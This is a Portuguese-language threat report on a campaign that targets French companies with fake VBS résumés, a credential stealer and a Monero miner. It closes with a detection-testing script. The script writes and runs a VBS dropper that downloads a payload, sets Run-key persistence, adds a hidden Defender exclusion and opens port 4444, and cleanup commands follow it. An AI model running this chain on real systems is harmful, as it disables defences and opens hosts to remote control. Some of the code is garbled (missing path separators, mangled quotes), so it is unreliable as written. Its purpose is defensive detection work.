Analisando FAUX#ELEVATE: Atores de Ameaça Visam a França com Iscas de CV para Implementar Mineradores de Criptomoedas e Ladrões de Informações em Ambientes Empresariais

Resumo

Uma operação de cibercrime utiliza um arquivo de currículo VBS malicioso para atacar ambientes corporativos de língua francesa. O dropper é altamente ofuscado e foi projetado para executar apenas em máquinas unidas a domínio, onde entrega malware de roubo de credenciais junto com um minerador de Monero. A campanha utiliza serviços confiáveis, como Dropbox, e sites WordPress marroquinos comprometidos para hospedar payloads. Dados roubados são exfiltrados através de SMTP para mail.ru, e o malware remove traços após a execução para reduzir a visibilidade forense.

Investigação

Pesquisadores realizaram engenharia reversa no dropper VBS, descobriram suas verificações de ambiente e mapearam toda a cadeia de infecção de múltiplos estágios, incluindo extração com 7-Zip, um RAT personalizado chamado RuntimeHost.exe, roubo de credenciais do navegador com ChromElevator e atividade de mineração com XMRig. Eles também identificaram infraestrutura de suporte, como endereços IP, entradas de DNS dinâmico e servidores WordPress invadidos. A persistência foi vinculada a chaves de execução no registro e a uma tarefa agendada oculta.

Mitigação

Os defensores devem bloquear arquivos VBS suspeitos e impor controles rígidos sobre anexos de e-mail. A monitoração deve se concentrar na execução anormal de wscript.exe, comandos PowerShell que adicionam exclusões ao Defender e alterações no registro que afetam o EnableLUA. As organizações devem restringir o SMTP de saída de aplicativos não-mail e observar conexões com infraestruturas conhecidas de Dropbox e pools de mineração. Quaisquer chaves de registro ou tarefas agendadas identificadas devem ser removidas ou colocadas em quarentena.

Resposta

As equipes de segurança devem detectar a criação das chaves de execução “Microsoft Media Service” e “z_MicrosoftEdgeAutoLaunch_2EDFBF”, juntamente com a tarefa agendada oculta “MicrosoftUpdateService”. Alertas devem ser acionados em processos wscript.exe que acessam o Dropbox ou os domínios WordPress documentados. Arquivos maliciosos devem ser colocados em quarentena, o host isolado e as credenciais expostas do navegador devem ser redefinidas. Uma revisão forense deve determinar se dados roubados foram exfiltrados através de mail.ru.

Execução de Simulação

Pré-requisito: O Check de Pré-voo de Telemetria & Baseline deve ter sido aprovado.

Justificação: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e têm como objetivo gerar a telemetria exata esperada pela lógica de detecção.

• Narrativa e Comandos do Ataque:

  1. Etapa 1 – Soltar VBS malicioso: O atacante escreve um dropper VBS que baixa um payload de segunda etapa e escreve uma chave de execução no registro para persistência.
  2. Etapa 2 – Executar VBS via wscript.exe com PowerShell como o processo pai, satisfazendo assim a condição pai-filho da detecção.
  3. Etapa 3 – Dentro do VBS, invocar o PowerShell para adicionar uma exclusão no Microsoft Defender (T1562.001) e o Netsh para abrir a porta TCP de entrada 4444 (T1562.004) para C2.
  4. Etapa 4 – Limpar evidências após o sucesso.

• Script de Teste de Regressão: (PowerShell – auto-contido; executar com direitos administrativos)

  # -----------------------------------------------------------------------
  # Simulação de Dropper VBS Malicioso – aciona a regra Sigma:
  #   Imagem == "*wscript.exe" E ImagemPai em ("*powershell.exe","*netsh.exe")
  # -----------------------------------------------------------------------
  
  $vbsPath = "$env:Tempmalicious_dropper.vbs"
  $payloadUrl = "http://example.com/payload.exe"   # endereço de URL substituto
  $payloadPath = "$env:Temppayload.exe"
  
  # 1. Criar VBS malicioso que:
  #    • Baixa um payload
  #    • Escreve uma chave Run para persistência
  #    • Chama PowerShell para adicionar exclusão no Defender
  #    • Chama Netsh para abrir uma regra de firewall
  $vbsContent = @"
  Set objXML = CreateObject("Microsoft.XMLHTTP")
  objXML.Open "GET", "$payloadUrl", False
  objXML.Send
  If objXML.Status = 200 Then
  Set objStream = CreateObject("ADODB.Stream")
  objStream.Type = 1
  objStream.Open
  objStream.Write objXML.ResponseBody
  objStream.SaveToFile "$payloadPath", 2
  End If

‘ Persistir via chave Run Set objShell = CreateObject(“WScript.Shell”) objShell.RegWrite “HKCUSoftwareMicrosoftWindowsCurrentVersionRunmalicious”, “$payloadPath”

‘ Exclusão no Defender via PowerShell (executado em linha) objShell.Run “powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '$payloadPath'“”, 0, True

‘ Abrir porta 4444 do firewall via Netsh (executado em linha) objShell.Run “netsh.exe advfirewall firewall add rule name="MaliciousPort” dir=in action=allow protocol=TCP localport=4444″, 0, True “@

Set-Content -Path $vbsPath -Value $vbsContent -Encoding ASCII

# 2. Lançar o VBS com PowerShell como o processo pai
Write-Host "[*] Lançando VBS malicioso via wscript.exe (pai: PowerShell)"
Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -Command `"wscript.exe `"$vbsPath`"`"" -Wait

# 3. Verificar se a regra de firewall foi adicionada (opcional)
netsh advfirewall firewall show rule name=MaliciousPort

# 4. Limpar artefatos (payload & VBS) – deixado para seção de limpeza separada
Write-Host "[+] Simulação concluída. Revise alertas no SIEM."

• Comandos de Limpeza: (executar após verificação)

  # Remover regra de firewall
  netsh advfirewall firewall delete rule name="MaliciousPort"
  
  # Remover exclusão do Defender
  powershell.exe -Command "Remove-MpPreference -ExclusionPath '$env:Temppayload.exe'"
  
  # Deletar chave de persistência Run
  reg delete "HKCUSoftwareMicrosoftWindowsCurrentVersionRunmalicious" /f
  
  # Deletar arquivos
  Remove-Item -Path "$env:Tempmalicious_dropper.vbs" -Force
  Remove-Item -Path "$env:Temppayload.exe" -Force
  
  Write-Host "[+] Limpeza concluída."